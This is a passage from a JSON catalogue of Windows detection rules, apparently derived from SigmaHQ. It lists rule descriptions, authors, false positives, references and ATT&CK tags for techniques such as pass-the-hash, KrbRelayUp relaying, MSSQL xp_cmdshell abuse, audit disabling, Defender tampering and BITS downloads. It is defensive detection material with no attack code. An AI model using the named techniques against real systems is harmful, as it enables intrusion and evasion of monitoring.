      "value": "Pass the Hash Activity 2"
    },
    {
      "description": "Detects logon events that specify new credentials",
      "meta": {
        "author": "Max Altgelt (Nextron Systems)",
        "creation_date": "2022/04/06",
        "falsepositive": [
          "Legitimate remote administration activity"
        ],
        "filename": "win_security_susp_logon_newcredentials.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_logon_newcredentials.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.lateral_movement",
          "attack.t1550"
        ]
      },
      "related": [
        {
          "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "def8b624-e08f-4ae1-8612-1ba21190da6b",
      "value": "Outgoing Logon with New Credentials"
    },
    {
      "description": "Detects logon events that have characteristics of events generated during an attack with KrbRelayUp and the like",
      "meta": {
        "author": "@SBousseaden, Florian Roth",
        "creation_date": "2022/04/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_susp_krbrelayup.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/sbousseaden/status/1518976397364056071?s=12&t=qKO5eKHvWhAP19a50FTZ7g",
          "https://github.com/elastic/detection-rules/blob/fb6ee2c69864ffdfe347bf3b050cb931f53067a6/rules/windows/privilege_escalation_krbrelayup_suspicious_logon.toml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_krbrelayup.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.credential_access"
        ]
      },
      "uuid": "749c9f5e-b353-4b90-a9c1-05243357ca4b",
      "value": "KrbRelayUp Attack Pattern"
    },
    {
      "description": "Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port.",
      "meta": {
        "author": "Micah Babinski (@micahbabinski), Zach Mathis (@yamatosecurity)",
        "creation_date": "2023/01/19",
        "falsepositive": [
          "Legitimate or intentional inbound connections from public IP addresses on the SMB port."
        ],
        "filename": "win_security_successful_external_remote_smb_login.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Purp1eW0lf/status/1616144561965002752",
          "https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_successful_external_remote_smb_login.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.credential_access",
          "attack.t1133",
          "attack.t1078",
          "attack.t1110"
        ]
      },
      "related": [
        {
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        "logsource.category": "No established category",
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          "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "570ae5ec-33dc-427c-b815-db86228ad43e",
      "value": "Application Uninstalled"
    },
    {
      "description": "Detects failed logon attempts from clients to MSSQL server.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), j4son",
        "creation_date": "2023/10/11",
        "falsepositive": [
          "This event could stem from users changing an account's password that's used to authenticate via a job or an automated process. Investigate the source of such events and mitigate them"
        ],
        "filename": "win_mssql_failed_logon.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://cybersecthreat.com/2020/07/08/enable-mssql-authentication-log-to-eventlog/",
          "https://www.experts-exchange.com/questions/27800944/EventID-18456-Failed-to-open-the-explicitly-specified-database.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_failed_logon.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1110"
        ]
      },
      "related": [
        {
          "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "218d2855-2bba-4f61-9c85-81d0ea63ac71",
      "value": "MSSQL Server Failed Logon"
    },
    {
      "description": "Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/13",
        "falsepositive": [
          "Legitimate use of the feature by administrators (rare)"
        ],
        "filename": "win_mssql_sp_procoption_set.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql?view=sql-server-ver16",
          "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_sp_procoption_set.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "b3d57a5c-c92e-4b48-9a79-5f124b7cf964",
      "value": "MSSQL SPProcoption Set"
    },
    {
      "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure setting is changed",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/12",
        "falsepositive": [
          "Legitimate enable/disable of the setting",
          "Note that since the event contain the change for both values. This means that this will trigger on both enable and disable"
        ],
        "filename": "win_mssql_xp_cmdshell_change.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/",
          "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_xp_cmdshell_change.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "d08dd86f-681e-4a00-a92c-1db218754417",
      "value": "MSSQL XPCmdshell Option Change"
    },
    {
      "description": "Detects failed logon attempts from clients with external network IP to an MSSQL server. This can be a sign of a bruteforce attack.",
      "meta": {
        "author": "j4son",
        "creation_date": "2023/10/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_mssql_failed_logon_from_external_network.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://cybersecthreat.com/2020/07/08/enable-mssql-authentication-log-to-eventlog/",
          "https://www.experts-exchange.com/questions/27800944/EventID-18456-Failed-to-open-the-explicitly-specified-database.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_failed_logon_from_external_network.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1110"
        ]
      },
      "related": [
        {
          "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ebfe73c2-5bc9-4ed9-aaa8-8b54b2b4777d",
      "value": "MSSQL Server Failed Logon From External Network"
    },
    {
      "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure is used to execute commands",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_mssql_xp_cmdshell_audit_log.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/",
          "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_xp_cmdshell_audit_log.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "7f103213-a04e-4d59-8261-213dddf22314",
      "value": "MSSQL XPCmdshell Suspicious Execution"
    },
    {
      "description": "Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/13",
        "falsepositive": [
          "Rare legitimate administrative activity"
        ],
        "filename": "win_mssql_add_sysadmin_account.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_add_sysadmin_account.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "08200f85-2678-463e-9c32-88dce2f073d1",
      "value": "MSSQL Add Account To Sysadmin Role"
    },
    {
      "description": "Detects when an attacker calls the \"ALTER SERVER AUDIT\" or \"DROP SERVER AUDIT\" transaction in order to delete or disable audit logs on the server",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/13",
        "falsepositive": [
          "This event should only fire when an administrator is modifying the audit policy. Which should be a rare occurrence once it's set up"
        ],
        "filename": "win_mssql_disable_audit_settings.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-server-audit-transact-sql?view=sql-server-ver16",
          "https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-server-audit-transact-sql?view=sql-server-ver16",
          "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_disable_audit_settings.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "350dfb37-3706-4cdc-9e2e-5e24bc3a46df",
      "value": "MSSQL Disable Audit Settings"
    },
    {
      "description": "Detects the execution of Scheduled Tasks where the program being run is located in a suspicious location or where it is an unusual program to be run from a Scheduled Task",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/05",
        "falsepositive": [
          "False positives may occur with some of the selected binaries if you have tasks using them (which could be very common in your environment). Exclude all the specific trusted tasks before using this rule"
        ],
        "filename": "win_taskscheduler_lolbin_execution_via_task_scheduler.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/taskscheduler/win_taskscheduler_lolbin_execution_via_task_scheduler.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f0767f15-0fb3-44b9-851e-e8d9a6d0005d",
      "value": "Scheduled Task Executed Uncommon LOLBIN"
    },
    {
      "description": "Detects the execution of Scheduled Tasks where the Program being run is located in a suspicious location or it's an unusale program to be run from a Scheduled Task",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_taskscheduler_execution_from_susp_locations.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/taskscheduler/win_taskscheduler_execution_from_susp_locations.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "424273ea-7cf8-43a6-b712-375f925e481f",
      "value": "Scheduled Task Executed From A Suspicious Location"
    },
    {
      "description": "Detects when adversaries try to stop system services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities",
      "meta": {
        "author": "frack113",
        "creation_date": "2023/01/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_taskscheduler_susp_schtasks_delete.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/taskscheduler/win_taskscheduler_susp_schtasks_delete.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1489"
        ]
      },
      "related": [
        {
          "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9e3cb244-bdb8-4632-8c90-6079c8f4f16d",
      "value": "Important Scheduled Task Deleted"
    },
    {
      "description": "Detects plugged/unplugged USB devices",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/11/09",
        "falsepositive": [
          "Legitimate administrative activity"
        ],
        "filename": "win_usb_device_plugged.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.techrepublic.com/article/how-to-track-down-usb-flash-drive-usage-in-windows-10s-event-viewer/",
          "https://df-stream.com/2014/01/the-windows-7-event-log-and-usb-device/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/driverframeworks/win_usb_device_plugged.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1200"
        ]
      },
      "related": [
        {
          "dest-uuid": "d40239b3-05ff-46d8-9bdd-b46d13463ef9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1a4bd6e3-4c6e-405d-a9a3-53a116e341d4",
      "value": "USB Device Plugged"
    },
    {
      "description": "Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/14",
        "falsepositive": [
          "Legitimate package hosted on a known and authorized remote location"
        ],
        "filename": "win_diagnosis_scripted_load_remote_diagcab.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/j00sean/status/1537750439701225472",
          "https://twitter.com/nas_bench/status/1539679555908141061",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/diagnosis/scripted/win_diagnosis_scripted_load_remote_diagcab.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "50cb47b8-2c33-4b23-a2e9-4600657d9746",
      "value": "Loading Diagcab Package From Remote Path"
    },
    {
      "description": "Detects image load events with revoked certificates by code integrity.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/06",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "win_codeintegrity_revoked_image_loaded.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-id-explanations",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-tag-explanations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_image_loaded.yml"
        ],
        "tags": [
          "attack.privilege_escalation"
        ]
      },
      "uuid": "881b7725-47cc-4055-8000-425823344c59",
      "value": "CodeIntegrity - Revoked Image Loaded"
    },
    {
      "description": "Detects blocked image load events with revoked certificates by code integrity.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/06",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "win_codeintegrity_revoked_image_blocked.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-id-explanations",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-tag-explanations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_image_blocked.yml"
        ],
        "tags": [
          "attack.privilege_escalation"
        ]
      },
      "uuid": "6f156c48-3894-4952-baf0-16193e9067d2",
      "value": "CodeIntegrity - Blocked Image Load With Revoked Certificate"
    },
    {
      "description": "Detects loaded kernel modules that did not meet the WHQL signing requirements.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/06",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "win_codeintegrity_whql_failure.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-id-explanations",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-tag-explanations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_whql_failure.yml"
        ],
        "tags": [
          "attack.privilege_escalation"
        ]
      },
      "uuid": "2f8cd7a0-9d5a-4f62-9f8b-2c951aa0dd1f",
      "value": "CodeIntegrity - Unmet WHQL Requirements For Loaded Kernel Module"
    },
    {
      "description": "Detects attempted file load events that did not meet the signing level requirements. It often means the file's signature is revoked or a signature with the Lifetime Signing EKU has expired.\nThis event is best correlated with EID 3089 to determine the error of the validation.\n",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/01/20",
        "falsepositive": [
          "Antivirus and other third party products are known to trigger this rule quite a lot. Initial filters and tuning is required before using this rule."
        ],
        "filename": "win_codeintegrity_attempted_dll_load.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-id-explanations",
          "https://twitter.com/SBousseaden/status/1483810148602814466",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-tag-explanations",
          "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_attempted_dll_load.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "f8931561-97f5-4c46-907f-0a4a592e47a7",
      "value": "CodeIntegrity - Unmet Signing Level Requirements By File Under Validation"
    },
    {
      "description": "Detects the presence of a loaded unsigned kernel module on the system.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/06",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "win_codeintegrity_unsigned_driver_loaded.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-id-explanations",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-tag-explanations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_unsigned_driver_loaded.yml"
        ],
        "tags": [
          "attack.privilege_escalation"
        ]
      },
      "uuid": "951f8d29-f2f6-48a7-859f-0673ff105e6f",
      "value": "CodeIntegrity - Unsigned Kernel Module Loaded"
    },
    {
      "description": "Detects loaded unsigned image on the system",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/06",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "win_codeintegrity_unsigned_image_loaded.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-id-explanations",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-tag-explanations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_unsigned_image_loaded.yml"
        ],
        "tags": [
          "attack.privilege_escalation"
        ]
      },
      "uuid": "c92c24e7-f595-493f-9c98-53d5142f5c18",
      "value": "CodeIntegrity - Unsigned Image Loaded"
    },
    {
      "description": "Detects block events for files that are disallowed by code integrity for protected processes",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/06",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "win_codeintegrity_blocked_protected_process_file.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-id-explanations",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-tag-explanations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_blocked_protected_process_file.yml"
        ],
        "tags": [
          "attack.privilege_escalation"
        ]
      },
      "uuid": "5daf11c3-022b-4969-adb9-365e6c078c7c",
      "value": "CodeIntegrity - Disallowed File For Protected Processes Has Been Blocked"
    },
    {
      "description": "Detects blocked load events that did not meet the authenticode signing level requirements or violated the code integrity policy.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/11/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_codeintegrity_enforced_policy_block.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
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          "Internal Research",
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          "Administrator activity (must be investigated)"
        ],
        "filename": "win_defender_suspicious_features_tampering.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide",
          "https://bidouillesecurity.com/disable-windows-defender-in-powershell/#DisableAntiSpyware",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_suspicious_features_tampering.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "801bd44f-ceed-4eb6-887c-11544633c0aa",
      "value": "Windows Defender Suspicious Configuration Changes"
    },
    {
      "description": "Detects the restoration of files from the defender quarantine",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/06",
        "falsepositive": [
          "Legitimate administrator activity restoring a file"
        ],
        "filename": "win_defender_restored_quarantine_file.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_restored_quarantine_file.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bc92ca75-cd42-4d61-9a37-9d5aa259c88b",
      "value": "Win Defender Restored Quarantine File"
    },
    {
      "description": "Detects new BITS transfer job saving local files with potential suspicious extensions",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/01",
        "falsepositive": [
          "While the file extensions in question can be suspicious at times. It's best to add filters according to your environment to avoid large amount false positives"
        ],
        "filename": "win_bits_client_new_transfer_saving_susp_extensions.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_saving_susp_extensions.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1197"
        ]
      },
      "related": [
        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b85e5894-9b19-4d86-8c87-a2f3b81f0521",
      "value": "BITS Transfer Job Downloading File Potential Suspicious Extension"
    },
    {
      "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/06/10",
        "falsepositive": [
          "This rule doesn't exclude other known TLDs such as \".org\" or \".net\". It's recommended to apply additional filters for software and scripts that leverage the BITS service"
        ],
        "filename": "win_bits_client_new_transfer_via_uncommon_tld.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/malmoeb/status/1535142803075960832",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_via_uncommon_tld.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1197"
        ]
      },
      "related": [
        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6d44fb93-e7d2-475c-9d3d-54c9c1e33427",
      "value": "BITS Transfer Job With Uncommon Or Suspicious Remote TLD"
    },
    {
      "description": "Detects new BITS transfer job where the LocalName/Saved file is stored in a potentially suspicious location",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/06/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_bits_client_new_trasnfer_susp_local_folder.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_trasnfer_susp_local_folder.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1197"
        ]
      },
      "related": [
        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "f8a56cb7-a363-44ed-a82f-5926bb44cd05",
      "value": "BITS Transfer Job Download To Potential Suspicious Folder"
    },
    {
      "description": "Detects the creation of a new bits job by PowerShell",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/01",
        "falsepositive": [
          "Administrator PowerShell scripts"
        ],
        "filename": "win_bits_client_new_job_via_powershell.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_job_via_powershell.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1197"
        ]
      },
      "related": [
        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fe3a2d49-f255-4d10-935c-bda7391108eb",
      "value": "New BITS Job Created Via PowerShell"
    },
    {
      "description": "Detects a BITS transfer job downloading file(s) from a direct IP address.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_bits_client_new_transfer_via_ip_address.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin",
          "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/",
          "https://isc.sans.edu/diary/22264",
          "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_via_ip_address.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1197"
        ]
      },
      "related": [
        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "90f138c1-f578-4ac3-8c49-eecfd847c8b7",
      "value": "BITS Transfer Job Download From Direct IP"
    },
    {
      "description": "Detects the creation of a new bits job by Bitsadmin",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/01",
        "falsepositive": [
          "Many legitimate applications or scripts could leverage \"bitsadmin\". This event is best correlated with EID 16403 via the JobID field"
        ],
        "filename": "win_bits_client_new_job_via_bitsadmin.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
